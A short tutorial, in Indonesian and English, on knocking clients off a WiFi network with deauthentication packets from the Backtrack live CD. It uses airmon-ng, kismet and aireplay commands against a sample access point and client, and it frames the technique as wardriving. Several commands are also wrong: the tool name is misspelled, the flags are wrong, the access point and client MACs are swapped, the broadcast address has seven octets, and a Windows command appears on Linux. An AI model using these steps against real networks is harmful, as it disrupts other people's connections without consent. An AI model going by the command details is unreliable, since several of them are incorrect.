Wifi Deauthentication with Backtrack Live-CD

Equipment :

• Atheros wifi adapter with madwifi support
• Backtrack Live CD

Persiapan :

Burn Bactrack ISO file hasil download di CD Blank. Boot sampai selesai menggunakan ini. Check usb wireless adapter for Madwifi Driver support. Gunakan teminal window / shell konsole

Gunakan perintah iwconfig untuk melihat wireless adapter yang tercipta.

iwconfig

Gunakan perintah airmon-ng untuk melihat infomasi wireless adapter.

airmon-ng

Gunakan kismet untuk mengetahui infomasi :

• Network lain yang terdeteksi
• Matikan autofit - shortcut “s”
• Sort berdasarkan SSID – shortcut “f”
• Network detail – Informasi lebih lanjut – shortcut “i”
• Catat BSSID / MAC Address Access Point, channel
• Show client in the current network – shortcut “c” – untuk melihat informasi client yang terhubung AP diatas.
• Shortcut “x” (exit), tunggu beberapa saat, shortcut “c” lagi untuk refresh informasi client jika memperbaharui client yang terkoneksi.

Kismet ini berjalan pada modus monitor ( sniffing ) dan wireless adapter yg digunakan harus support.

Untuk informasi wireless adapter kita (MAC Address) , gunakan ipconfig

ipconfig/all

Dari persiapan di atas, kita mendapatkan informasi Wireless Adapter, SSID, Channel, MAC AP (BSSID), MAC Client….

Misal :
Wireless Adapter : wifi0, ath0 dan eth0
SSID : YourNet
Channel : 1
MAC AP (BSSID) : 00:18:39:39:23:66
MAC Client : 00:18:DE:C3:D8:58

Deauthentication

Serangan deauthentication, kita harus mengirimkan paket deauthentication melalui wireless network adapter. Wireless Adapter yang kita pakai harus mendukung feature ini.

Buat virtual adapter baru

airmon-ng start wifi0

virtual adapter ath1 akan terbentuk. Aktifkan virtual adapter tersebut !!

ifconfig ath1 up
iwconfig ath1 mode monitor channel 1
aireply-ng deauth 10 -c 00:18:39:39:23:66 -a 00:18:DE:C3:D8:58 ath1

Paket deauthentication yang terkirim 10 kali berturut-turut dengan MAC client yang akan di disconnect ( 00:18:DE:C3:D8:58 ) dan MAC Address dari AP ( 00:18:39:39:23:66 ). Pengiriman paket melalui wireless adapter ath1.

atau kirim ke alamat broadcast

aireply-ng deauth 10 -c FF:FF:FF:FF:FF:FF:FF -a 00:18:39:39:23:66 ath1

untuk memutus semua client…

Jika injection packet deauthentication berhasil dilakukan, pada beberapa reply request, akan menampilkan Request time out dan General failure …. Serangan ini tidak bisa dicegah dengan WEP, WPA, WPA2

Trick ini merupakan salah satu wardriving dengan menggunakan Linux dengan distro backtrack..